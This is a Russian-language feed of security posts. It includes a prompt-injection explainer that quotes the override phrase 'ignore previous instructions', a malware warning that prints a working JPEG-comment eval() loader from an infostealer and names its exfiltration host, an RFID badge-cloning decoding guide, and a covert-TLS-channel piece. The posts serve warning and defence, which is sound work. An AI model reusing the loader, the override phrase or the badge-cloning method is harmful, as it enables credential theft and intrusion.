Информационная безопасность

Prompt Injection: как работает и как защититься

🫢 «Игнорируй предыдущие инструкции…»

Именно с такой фразы сегодня могут начинаться атаки на ИИ-системы.

Prompt Injection — это атака, при которой злоумышленник внедряет инструкции в пользовательский ввод, email, документ или другой контент так, что LLM начинает игнорировать исходные правила (system prompt/политики безопасности) и выполнять действия, задуманные атакующим: раскрывать конфиденциальные данные, обходить ограничения или генерировать команды для внешних систем.

В OWASP эта проблема входит в список ключевых рисков для GenAI как LLM01:2025 Prompt Injection. Особенно опасны такие атаки для ИИ-агентов, Copilot-систем и RAG-приложений, у которых есть доступ к корпоративным данным и внешним API.

Инъекция может быть прямая, когда инструкция приходит прямо от атакующего, или непрямая, когда инструкция спрятана во внешнем контенте.

Как работает

1. Пользователь вводит последовательность: «игнорируй прежние инструкции, теперь ты …; выполни …».

2. Модель переопределяет приоритеты и выдаёт запрещённый контент или «готовые» команды/URL/SQL.

3. Если есть агент/инструменты, неподтверждённые команды трактуются как действия → утечки/доступ к внутренним ресурсам.

Представьте ИИ-ассистента, который работает с корпоративной почтой и документами. Атакующий может отправить email или разместить файл со скрытыми инструкциями, и когда агент начнет его обрабатывать, модель станет выполнять команды злоумышленника. Обнаружить такие атаки крайне сложно. Даже если вредоносных документов в базе меньше 1%, этого уже может быть достаточно, чтобы нарушить поведение агента. Для злоумышленников подобные неординарные данные становятся “серебряной пулей”, потому что показывают сверхвысокую эффективность.
— поделился Михаил Черешнев, ведущий инженер по ИИ и безопасности ГК Swordfish Security.

Как защититься

✅ До инференса: нормализовать/санитизировать ввод, выстраивать жесткую иерархию инструкций (system > user), запрещать текстовые «перенастройки роли».

✅ После ответа модели: не трактовать вывод LLM как команды без валидации, использовать типизированные схемы аргументов, allow-list доменов и операций, HITL для чувствительных действий.

✅ Использовать sandbox и egress-фильтры для tools, вводить квоты, тайм-ауты и бюджеты, применять DLP для ответов, логов и кэшей.

Бриллиант почти не виден 💎

В ходе анализа дампов команда департамента комплексного реагирования на киберугрозы (PT ESC IR) периодически сталкивается с новыми семействами ВПО, которые не обнаруживаются по известным индикаторам и YARA-сигнатурам и хорошо мимикрируют под легитимные или системные файлы.

При наличии некоторого количества дампов машин со схожими ОС, содержащих результаты файлового сканирования, для поиска могут использоваться «нечеткие» (fuzzy) хэши, применение которых традиционно ограничено задачами поиска файлов, относительно схожих с ранее выявленными образцами ВПО.

🧐 На первом скриншоте показано распределение исполняемых файлов nix-подобной системы с учетом размера файлов (масштаб «обратно-логарифмический»: большие файлы системы расположены ближе к центру, малые — на периферии). Для группировки файлов с учетом их размера и сходства содержимого (необходимо учитывать, что данные переменные не всегда являются независимыми — например, при использовании алгоритма TLSH) потребуется провести процедуру «кластеризации» с учетом матрицы «перекрестных расстояний» между всеми (N) файлами системы, которая будет иметь размер (N^2).

Очевидно, что для сокращения размера данной матрицы возможно ввести разбиение диапазона размеров файлов одной либо нескольких совместно анализируемых систем — весь диапазон размеров может быть представлен как совокупность непересекающихся отрезков [x-ax;x+ax], где a<1, а x — центральная точка отрезка. Опыт показывает, что такое разделение позволяет, как правило, получить менее сотни размерных «поясов» при значении a=0.1. При дальнейшем анализе в пределах отдельных «поясов» количество образцов будет существенно меньше исходного общего количества.

Анализ «аномальности» образцов в пределах отдельного «пояса» возможно произвести с учетом различных факторов — среднего расстояния до остальных образцов, количества образцов, схожих с данным в пределах заданного порогового значения и т.п., за исключением случаев, когда в пределах «пояса» оказывается совсем малое (например, менее 10) количество файлов — в таком случае можно считать, что все они являются «условно аномальными».

Финальным этапом подобного анализа является выявление в пределах полученных для каждой из анализируемых систем «аномальных» групп файлов, которые удовлетворяют следующим критериям:

1️⃣ имеют малое количество схожих образцов либо высокое среднее расстояние до остальных образцов (для формализации можно задаться верхней половиной динамического диапазона);

2️⃣ не имеют в пределах одной системы файлов с идентичным именем, но отличным путем (что позволяет фильтровать системные файлы nix-подобных систем);

3️⃣ имеют малое количество файлов с аналогичным путем/именем на совместно анализируемых системах (или не имеют аналогов вовсе — то есть не являются обязательными для функционирования системы).

👀 Результатом подобного анализа является картина, показанная на втором скриншоте: размер файлов снова в «обратно-логарифмическом» масштабе, «максимально отличающиеся» файлы в пределах «размерного пояса» стремятся к угловой координате π радиан, а минимально отличающиеся — к 0. «Условно аномальные», т.е. практически уникальные по размеру файлы, имеют угловую координату 3π/2.

Общее количество определенных «аномалий» составляет для различных систем от 0,7% до 8% от исходного количества анализируемых исполняемых файлов, что позволяет проводить дальнейший анализ в ряде случаев просто «глазами» — из исходных тысяч файлов остается около полусотни.

Первый же «существенно отличающийся» файл в данном случае действительно представляет собой ВПО, причем для ансамбля из 12 анализируемых систем аналогичный образец уверенно обнаруживается еще на одной машине, а дальнейший поиск при «TLSH-расстоянии» не более 70 единиц позволяет выявить еще 5 образцов на различных машинах ансамбля с одинаковыми путями — все они принадлежат к одному семейству и реализуют закрепление ВПО посредством использования system-generators.

(Источник: https://t.me/ptescalator)

Вышла новая версия модели Антропик Claude 4.8. Небольшое увеличение точности по всем бенчмаркам кроме кибербезопасности. В этом релизе значительное внимание было уделено мерам безопасности (сейфгарды) и, по заявлению производителя, 4.7 примерно равно 4.8.

Но в новости ещё указано, что прогресс в области мер безопасности, позволяет планировать в ближайшие недели публичный релиз "моделей уровня Mythos".

Больше технических деталей возможно найти в системной карточке новой модели.

Исключен из карточки популяный бенчмарк Cybench как насыщенный. Насыщенные бенчмарки это бенчмарки которые больше не показывают прогресса, передовые модели набирают в них значения близкие к 90-95%.

Добавилось в карточку 2 новых бенча кибербезопасности ExploitBench (способность писать готовые эксплойты с нуля), OSS-Fuzz (фаззинг открытого программного обеспечения).
Остались старые бенчи CyberGym (поиск уязвимостей в реальном коде открытого программного обеспечения), способность писать эксплойты для Firefox 147.

Интересен и раздел описывающий безопасность использования агентов (промты для написания вредоносного ПО, двойного применения типа разведки и т.д.) . Из общего улучшения общей безопасности в версии 4.8 выбивается такая оценка как устойчивость к промт инъекциям при написании кода с помощью инструмента от Shade. На 200 попытках с 52,5% вероятности успеха на 4.7 защищенность снизилась до 65% на версии 4.8 без режима размышления т.е. чуть меньше чем в 2/3 случаях промт инъекции оказались успешными. Сами авторы системной карточки комментируют этот регресс так - это компромис с уменьшением ложно положительных срабатываний.

В своем ТГ канале ещё разместил пару графиков из карточки модели.

Когда мы проводим физическое тестирование на проникновение первым и логичным шагом, который мы стараемся реализовать - проникнуть на территорию объекта. Обычно мы проходим “на плечах” или ищем плохо закрытые и не охраняемые двери, часто задние противопожарные выходы, используемые как “курилку”. И только потом, проникнув внутрь, мы начинаем искать и клонировать пропуска сотрудников, чтобы беспроблемно передвигаться внутри объекта. Кажется не логичным, но так оно и есть, ведь никто не будет оставлять свой пропуск и другие документы без присмотра на улице.

Однако, если в компании до сих пор используются RFID карты (подсказка: в 90% случаев это так), а безопасники в качестве защиты от “хакеров” не печатают фото и ФИО сотрудника, и оставляют непонятные цифры (подсказка: ~ в каждой 3-ей компании), то ситуация с проникновением может иметь более драматические последствия.

Проблема в том, что зачастую цифры непонятны только для самих безопасников (по охране и ИТСО), а для знающих специалистов, особенно которые нацелены проникнуть внутрь, это ценная и очень важная информация. Если обратить внимание на черный скриншот, мы увидем работу программы Proxmark, где зеленым по черному написан ID карты - 4900ECB592, но, что еще более важное, DEZ 10: 0015512978 и DEZ 3.5C: 236.46482. Как можно увидеть, указанные ДЕЗы полностью идентичны сведениям на карте (самая верхняя на фото). И тут возникает вопрос: как нам вычислить DEZ 10 и DEZ 3.5C и обратно через них зареверсить ID?

Вообще, если мы говорим про IT, то обычно все крутиться вокруг разных систем счисления, например двоичной (0 и 1), восьмиричной (от 0 до 7), десятичной или шестнадцатеричной (от 0 до 9, а также A, B, C, D, E и F). Если мы посмотрим на ID карты: 4900ECB592, то поймем, что скорее всего он записан в 16-ричной системе, так как присутствуют буквы. Продолжая вышесказанную мысль, давайте попробуем перевести ID карты в десятичную систему: получим 313548125586. Хм, ничего общего.

А если попробуем наоборот: DEZ 10 переведем из десятичной в 16-ричную? Получим: (0015512978)10 = (ECB592)16. Бинго, в яблочко, почти точное попадание. Осталось понять, что делать с 4900? А я отвечу - НИ-ЧЕ-ГО. В качестве первых 2-х байтов можно использовать любые значения, так как они не участвуют в идентификации. Можно их заменить, например на 0000, то есть получим ID карты 0000ECB592, которая также легко сможет открывать заветные двери (проверено).

Хорошо, с этим разобрались! А что делать со вторым числом? Там есть небольшая хитринка, но в целом ничего сложного: переводим отдельно число до точки из десятичного формата в 16-ричный, а потом аналогичные действия проводим с числом после точки. В итоге получаем:

(236)10 = (EC)16
(46482)10 = (B592)16

Получаем все тот же ID = ECB592.

Получается, в некоторых случаях чтобы склонировать карту не обязательно к ней прикладывать флиппера, проксмарк или иное схожее по функционалу оборудование - достаточно записать цифры. Следовательно, если вы любитель носить пропуск на груди, то вы наш первый “клиент” на “заимствование” электронного ключа.

Ну и в завершение домашнее задание: получите ID карты и DEZ 10 / DEZ 3.5C с оставшихся 2-х пропусков, изображенных на фото. Удачи и жду правильные ответы в комментариях.

🧠 Обязательно поделись с теми, кому это может быть полезно: 💬 Телеграм | 💬 Max | 📝 Хабр | 💙 ВКонтакте

Как убедиться, что вы «закрыли» требования ИБ-законодательства? Используем связку «Защита от утечек + Система управления ИБ»

Использование системы защиты от утечек информации (DLP) не только предотвращает сливы данных, но и помогает выполнять многочисленные нормативные требования. Интеграция такого решения с системой управления информационной безопасностью (SGRC) наглядно демонстрирует этот эффект, превращая формальное выполнение нормативов в динамическую оценку соответствия на основании данных, поступающих из средств ИБ.

На вебинаре покажем, как возможности «СёрчИнформ КИБ» можно использовать не только для выявления утечек, но и для выполнения ИБ-нормативов, контроля защитных мер и построения управляемых процессов ИБ в SECURITM.

📆 Когда: 4 июня в 11:00

🎤 Спикеры: 

• Алексей Парфентьев, заместитель генерального директора по инновационной деятельности «СёрчИнформ».

• Максим Шаманаев, консультант по информационной безопасности SECURITM.

Разберем на практике, как в SECURITM:

1. Связать модули «СёрчИнформ КИБ» с защитными мерами и увидеть, какие требования они помогают выполнять. Отдельно разберём сценарии, связанные с требованиями ФСТЭК, включая приказ № 239 и требования, утверждённые приказом № 117.

2. Превратить уведомления об инцидентах из КИБ в управляемые кейсы с маршрутизацией, статусами и контролем исполнения.

3. Использовать данные КИБ для обогащения учёта активов, сетевых адресов (IP), пользователей и покрытия средствами защиты.

Зарегистрироваться можно по ссылке. Участие бесплатное

⚡️ Присоединяйтесь – покажем, как связка «СёрчИнформ КИБ» и SECURITM расширяет возможности системы защиты от утечек (DLP) от детектирования и реагирования до управления и соответствия.

Вы попали в следующую ситуацию: граница, проверка, оператор просит разблокировать телефон. Отказаться нельзя или невыгодно. Что можно?

Стандартные ответы у мессенджеров слабые. Обычный app-lock PIN открывает то же приложение, под принуждением бесполезен. «Удалить аккаунт по PIN» лучше, но видно что что-то стёрто. Облачные TTL текущий запрос не закрывают.

В RCQ сделали по-другому. Локальная история шифруется AES-256-GCM, ключ выводится из PIN’а через PBKDF2-HMAC-SHA256 на 400к раундов с per-install salt в keychain. Разные PIN’ы открывают разные хранилища.

400к раундов это около секунды CPU на iPhone, достаточно медленно чтобы offline-bruteforce был дорогой. Но реальная защита это длина PIN’а: 4-значный перебирается за десятки минут на M-чипе, 8-значный за месяцы. Default 6-8 символов.

Четыре режима

1. Real PIN - открывает реальный аккаунт.

2. Decoy PIN - открывает отдельный аккаунт с собственным UIN и SQLite. Не пустой экран (пустой это сигнал), а правдоподобно освоенный: пара контактов, несколько сообщений.

3. Wipe PIN - тихо стирает оба SQLite, чистит keychain, дёргает DELETE /auth/account. Без подтверждений и прогресс-баров. Через 3 секунды приложение перезапускается как свежеустановленное.

4. Biometric - опциональная вторая дверь к real. Не совмещается с decoy/wipe (скорее для удобства).

Честно про границы

Защищает от: казуального осмотра, принуждённой разблокировки, ситуации «5 секунд до того как заберут».

Не защищает от: forensic-лаб с offline-bruteforce’ом короткого PIN’а, jailbroken устройства с активным debugger’ом, человека рядом который видел как вы вводите PIN (разумеется).

Threat model правильный: «есть несколько секунд до того как кто-то откроет приложение, дальше я не контролирую устройство». Для «forensic с неограниченным временем» нужны другие инструменты. Главное из них: не пользоваться телефоном для чувствительных переписок вообще.

Стек живёт в RCQ, открытая бета на iOS. Код открытый: github.com/rcq-messenger/rcq-ios. Про маскировку самого факта установки приложения будет отдельно.

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.

Цели 18-го процесса по ГОСТ Р 56939—2024:

Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.

Агентный ИИ: как внедрять автономные цифровые системы безопасно

В ближайшие годы агентные системы будут формировать основу корпоративной автоматизации. И компании, которые сегодня правильно выстраивают фундамент безопасности, смогут внедрять автономные технологии быстрее и гораздо увереннее.

В новом руководстве разбираем:

🎱как меняются цифровые системы с приходом агентного ИИ,

🎱какие уязвимости возникают в цепочках действий и логике принятия решений,

🎱как выстроить безопасную архитектуру для агентных систем,

🎱как компании сейчас проходят путь внедрения агентного ИИ.

Скачивайте руководство на нашем сайте.

Временные ссылки: как мы убираем секреты из рабочих чатов

В рабочих чатах постоянно всплывает чувствительная информация: API-ключи, временные пароли, доступы к тестовым аккаунтам, документы, архивы, конфиги. Обычно это выглядит безобидно: «скинь токен», «вот пароль от стенда», «держи файл». Но у такого подхода есть проблема — всё это остаётся в истории переписки.

Если аккаунт сотрудника скомпрометирован, злоумышленник получает не только новые сообщения, но и весь архив: старые пароли, ключи, ссылки, файлы и переписки по проектам. Даже если часть данных уже неактуальна, быстро проверить это сложно. В итоге приходится срочно чистить чаты, отзывать токены, менять пароли и проверять инфраструктуру.

Чтобы снизить этот риск, мы сделали внутри DTIS (кастомная CRM-система от Doubletapp) сервис «Временные ссылки».

Идея простая: вместо того чтобы отправлять секрет прямо в чат, сотрудник создаёт короткоживущую ссылку. В ссылке могут быть текстовые данные — например токен, пароль или инструкция — а также файл. Получатель открывает ссылку и забирает данные, а после истечения срока жизни они становятся недоступны и удаляются.

Это не замена полноценным vault-системам и менеджерам секретов. Но сервис хорошо закрывает частый рабочий сценарий: быстро передать чувствительную информацию коллеге, подрядчику или клиенту, не оставляя её навсегда в мессенджере.

Как это выглядит в интерфейсе

В DTIS появился отдельный пункт меню «Временные ссылки». Он ведёт на страницу управления временными ссылками.

На этой странице пользователь может сразу создать новую ссылку: указать название, выбрать режим доступа, добавить секретные данные, задать срок жизни и при необходимости прикрепить файл. После создания появляется ссылка, которую можно скопировать и отправить получателю.

Ниже отображается список ранее созданных актуальных ссылок. Для удобства есть поиск по названию. У каждой ссылки можно посмотреть срок действия, скопировать её или вручную отозвать, если она была отправлена не туда или больше не нужна.

Просроченные ссылки в списке не хранятся. Пользователь видит только то, что ещё действительно актуально.

Режимы доступа

Мы оставили два основных сценария.

Первый — только пользователи DTIS. Это режим по умолчанию. Он подходит для внутренней передачи данных между сотрудниками, когда ссылку может открыть только авторизованный пользователь.

Второй — доступ для всех, у кого есть ссылка. Он нужен для ситуаций, когда данные нужно передать внешнему пользователю: клиенту, подрядчику или партнёру.

Если у пользователя нет доступа, он видит ошибку. Если ссылка уже просрочена или была отозвана, данные по ней недоступны.

Почему сделали внутри, а не взяли внешний сервис

Для таких данных важно контролировать весь контур: где они хранятся, кто имеет доступ, как удаляются и какие правила применяются. Внешние сервисы могут быть удобными, но для передачи рабочих секретов это лишний риск: зависимость от сторонней инфраструктуры, возможные утечки, изменения условий и отсутствие нужной интеграции с нашей моделью доступа.

Готовыми внешними сервисами для такой задачи мы пользоваться не хотели. При этом подходящего self-hosted решения, которое можно было бы быстро и аккуратно встроить в DTIS, авторизацию и внутренние процессы, мы для себя не нашли. Поэтому решили сделать небольшой собственный инструмент под наши сценарии.

Что получилось

Теперь вместо сообщения «вот пароль от стенда» в рабочем чате появляется временная ссылка. Она живёт ограниченное время, может быть доступна только авторизованным сотрудникам и при необходимости отзывается вручную.

Сервис небольшой, но он меняет привычку: секреты больше не должны жить в мессенджерах. Чат остаётся местом для общения, а чувствительные данные передаются через контролируемый механизм с понятным сроком жизни.

Подробнее о том, как и почему мы решили сделать собственную CRM-систему, в рамках которой работает наш сервис временных ссылок, можно прочитать в статье нашего CTO. 

РБПО по ГОСТ Р 56939—2024: вебинар №17 из 30 — Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок

Начну с важного и актуального. У меня сегодня День Рождения. Приобретайте лицензии на PVS-Studio. Мне будет приятно! :)

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.17. – "Проверка кода на предмет внедрения вредоносного программного обеспечения через цепочки поставок". На YouTube. Слайды.

Цели 17-го процесса по ГОСТ Р 56939—2024:

Создание условий для снижения рисков внедрения вредоносного ПО посредством воздействий на ПО или механизмы его доставки до получения ПО конечными пользователями и недопущение компрометации данных (информации) или информационной системы, использующей такое ПО.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов. 

Современная инфраструктура уже не является простым списком серверов, бакетов, кластеров и баз данных. Это граф связей: workloads обращаются к сервисам, ingress открывает приложения наружу, IAM-роли дают доступы, часть ресурсов управляется Terraform, а часть существует вне декларированного состояния.

https://medium.com/@antonvkrylov/

cloudmapper сканирует AWS и Kubernetes и превращает эту реальность в локальную, структурированную карту. Инструмент написан как standalone Rust CLI. Он создает локальный infra/bundle: инвентарь, JSONL-файлы ресурсов и связей, графовые артефакты, findings, схемы и SQLite-базу map.db. Эту базу можно смотреть через UI, запрашивать SQL, экспортировать и отдавать агентам как компактный контекст. В AWS-графе ресурсы показываются не плоским списком, а топологией: базы данных, Lambda, сети, security groups и findings связаны между собой.

При выборе узла открывается инспектор с деталями: провайдер, сервис, тип, регион, окружение, владелец приложения, Terraform-статус, ingress-правила, ARN и связанные риски. Для Kubernetes используется та же модель: workloads, сервисы, persistent volumes, config maps, service accounts, runtime-компоненты и ingress-пути становятся связанными фактами.

Это важно, потому что AWS и Kubernetes можно анализировать одним языком ресурсов, отношений и рисков. Отдельные представления помогают отвечать на практические вопросы.

Exposure Atlas группирует риск по приложениям, namespace, окружениям или платформенным областям и показывает концентрацию high-risk ресурсов, публичного ingress и unmanaged/drifted-состояния.

Attack Paths показывает достижимость: от публичных входных точек через порты, security groups и compute-цели к downstream-ресурсам и данным. То есть finding превращается в понятный blast radius.

cloudmapper связывает ресурсы с оценочной месячной стоимостью, сравнивает live-состояние с Terraform и показывает unmanaged assets, drift и потенциальную экономию как конкретные findings с рекомендуемыми действиями.

ЕЦБ экстренно собирает банки из-за ИИ, ломающего защиту за минуты

Европейский центробанк срочно созывает совещание с крупнейшими финансовыми институтами. Причина — появление ИИ-моделей, способных находить критические уязвимости в инфраструктуре быстрее, чем банки успевают их закрывать.

По информации Financial Times, регулятор обеспокоен новым поколением моделей вроде Claude Mythos, которые демонстрируют качественно иной уровень работы с кодом и системной архитектурой. Если раньше поиск 0-day уязвимостей требовал недель ручного аудита, то теперь ИИ справляется за минуты.

Проблема в асимметрии: атакующие получают инструмент, который работает круглосуточно и масштабируется линейно, а защитники остаются с теми же процессами патчинга и тестирования. Когда уязвимость находится быстрее, чем выкатывается обновление, классическая модель безопасности ломается.

Для банковского сектора это критично. Финансовые системы строились десятилетиями, технический долг огромен, а миграция на новые стеки занимает годы. Многие core-системы всё ещё на COBOL и Java 8, где каждое изменение требует согласований и регрессионного тестирования. Скорость реакции физически не поспевает за скоростью обнаружения.

ЕЦБ, судя по всему, хочет понять масштаб угрозы и выработать общие меры. Возможные направления: ужесточение требований к мониторингу, обязательное использование runtime-защиты, пересмотр SLA на патчинг критических уязвимостей. Но главный вопрос остаётся открытым — можно ли вообще защищаться традиционными методами, когда противник на порядок быстрее.

Банкам придётся либо резко ускорять DevSecOps-процессы и автоматизировать весь цикл от обнаружения до деплоя фикса, либо переходить на архитектуры с изоляцией по умолчанию, где эксплуатация одной уязвимости не даёт доступа ко всей инфраструктуре. Оба варианта требуют серьёзных инвестиций и изменения культуры разработки.

Гонка вооружений в кибербезопасности перешла в новую фазу, где время реакции измеряется уже не днями, а часами. Регуляторы это осознали. Вопрос, успеют ли за ними сами банки.

Прятать данные в TLS-трафике: как выглядит настоящий стелс

Больше 70% интернет-трафика — зашифрованный TLS. Это не баг, это фича: тонны HTTPS-соединений, WebSocket-потоков, мобильных приложений и игровых клиентов создают идеальный фон для передачи данных без привлечения внимания.

Идея простая: если нужно спрятать дерево, прячь его в лесу. В случае интернета этот лес состоит из миллионов TCP/443-соединений, которые выглядят настолько обычно, что именно это делает их интересной средой для экспериментов.

Почему TLS-трафик — удобная маскировка

TLS скрывает содержимое пакетов. DPI может видеть метаданные — размер, timing, SNI в Client Hello, но не payload. Если ваше соединение выглядит как обычный HTTPS-запрос или долгоживущий WebSocket, оно сливается с фоном.

Практическая сторона: можно передавать данные внутри легитимных TLS-сессий, используя существующие протоколы как транспорт. Это не новая идея — стеганография в сетевых протоколах обсуждается десятилетиями, но TLS даёт дополнительный слой: шифрование на уровне протокола скрывает структуру payload от внешнего наблюдателя.

Где это может быть полезно

• Обход блокировок в странах с жёстким DPI — если трафик неотличим от обычного HTTPS, его сложнее фильтровать

• Распределённое хранилище данных в трафике — архивные данные можно держать не на диске, а в виде пакетов, циркулирующих между нодами

• Covert channels для исследований в области безопасности — тестирование систем мониторинга и обнаружения аномалий

Технические ограничения и риски

Главное ограничение — timing и packet size analysis. Если трафик выглядит нетипично по объёму или интервалам, статистические методы могут его вычислить. Traffic shaping помогает, но не решает проблему полностью.

Второе — легитимность. Если используешь чужую инфраструктуру или протоколы без согласия провайдера, это может нарушать ToS. В корпоративной среде такие эксперименты быстро привлекут внимание security-команды.

Третье — надёжность. Пакеты теряются, соединения рвутся, данные нужно восстанавливать. Без механизмов коррекции ошибок и redundancy хранилище в трафике превращается в лотерею.

В итоге: технически возможно, но требует продуманной архитектуры, понимания сетевых протоколов и готовности к тому, что решение будет хрупким. Как proof-of-concept — интересно. Как production-инструмент — сомнительно.

Представлен открытый ИБ-проект bumblebee от команды Perplexity для защиты ПК на Linux и macOS:

• проверяет файлы, установочные сборки, библиотеки, фреймворки

• сканирует пакетные менеджеры, плагины для IDE, браузерные расширения, конфиги Claude, Cursor, Coder и других ИИ‑инструментов.

• сканирует метаданные.

В информационной безопасности невозможно исключить все угрозы и любая инфраструктура может стать целью злоумышленников: целевые компрометаций через уязвимости, подрядчиков или, например, сотрудников. В связи с этим компании определяют, какой уровень риска они готовы принять (толерантность), и как будут управлять этими рисками (риск менеджмент).

Толерантность - это допустимый уровень угроз и потенциального ущерба, который организация готова принять или, другими словами, насколько опасные сценарии для бизнеса считаются приемлемыми. Обычно Толерантность делят на 3 типа: высокая, средняя и, соответственно, низкая.

При низкой толерантности компании практически не допускают критических угроз: жесткий контроль доступов, постоянный мониторинг, сегментация сети, обязательный MFA, минимальные привилегии, строгие политики безопасности, быстрое реагирование на инциденты и т.д. Обычно это характерно для банков, государственных структур и критической инфраструктуры.

Высокая толерантность означает, что организации (обычно малый бизнес или проекты без зрелой ИБ) готовы принимать значительные риски ради скорости развития, снижения затрат или упрощения процессов. При таком виде толерантности характерен слабый контроль доступа, отсутствие сегментации, редкие аудиты, устаревшие системы и другие пренебрежения информационной безопасности (если она вообще существует в организации).

Ну а средняя толерантность говорит сама за себя - это уровень принятия ИБ где-то между: допускается принятие части рисков ради удобства, скорости работы или экономии ресурсов.

Риск-менеджмент - это процесс управления рисками информационной безопасности. После оценки угроз организация выбирает один из вариантов обработки риска:

• Принятие риска (Risk Acceptance)

• Отказ от риска (Risk Avoidance)

• Митигация риска (Risk Mitigation)

• Передача риска (Risk Transfer)

Принятие риска - это когда компания осознанно принимает риск и ничего не меняет. Например уязвимость имеет низкую вероятность эксплуатации (likelihood), устранение слишком дорого (cost-benefits analysis) или ущерб считается приемлемым. Отказ от риска - когда организация полностью убирает/устраняет источник риска. Например, отключение небезопасного сервиса, отказ от хранения персональных данных или закрытие внешнего доступа (часто OWA). Митигация риска (Risk Mitigation) - наиболее распространенный подход, когда компания снижает вероятность атаки или уменьшает последствия компрометации. Передача риска (Risk Transfer) - когда риск частично передается третьей стороне, например в применяется страхование, использование облачных провайдеров; аутсорсинг SOC или передача ответственности подрядчику.

Кроме локальной нормативной базы, которые регулируют некоторые критические сегменты, например ПДн или КИИ, компании вправе самостоятельно выбирать допустимость угроз и управление рисками. Однако, говоря про международные стандарты, нельзя не затронуть ISO/IEC 27005:2022 - Руководство по управлению информационной безопасностью, которое описывает идентификацию угроз, анализ рисков, оценку последствий, методы обработки рисков, подходы к принятию решений и другие вопросы риск-менеджмента. А Российский ГОСТ на базе ИСО 27005:2010 можно почитать в Электронном фонде правовых и нормативно-технический документов.

🧠 Обязательно поделись с теми, кому это может быть полезно: 💬 Телеграм | 💬 Max | 📝 Хабр | 💙 ВКонтакте

Утечки данных в ритейле: онлайн-торговля вышла на первый план

Экспертно-аналитический центр InfoWatch опубликовал исследование «Утечки информации в сфере торговли, 2021-2025 гг.». В отчете специалисты ЭАЦ InfoWatch приводят статистику по инцидентам в мировом и российском ритейле за пять лет.

По итогам исследования:

• в мировой торговле зарегистрировано почти 5000 утечек данных, в России — 711 инцидентов;

• чаще всего утекают ПДн покупателей — более 11 млрд записей в мире и 610 млн в России;

• более половины инцидентов в России — это маркетплейсы и интернет-магазины.

Подробности на сайте InfoWatch.

РБПО по ГОСТ Р 56939—2024: вебинар №16 из 30 – Использование инструментов композиционного анализа

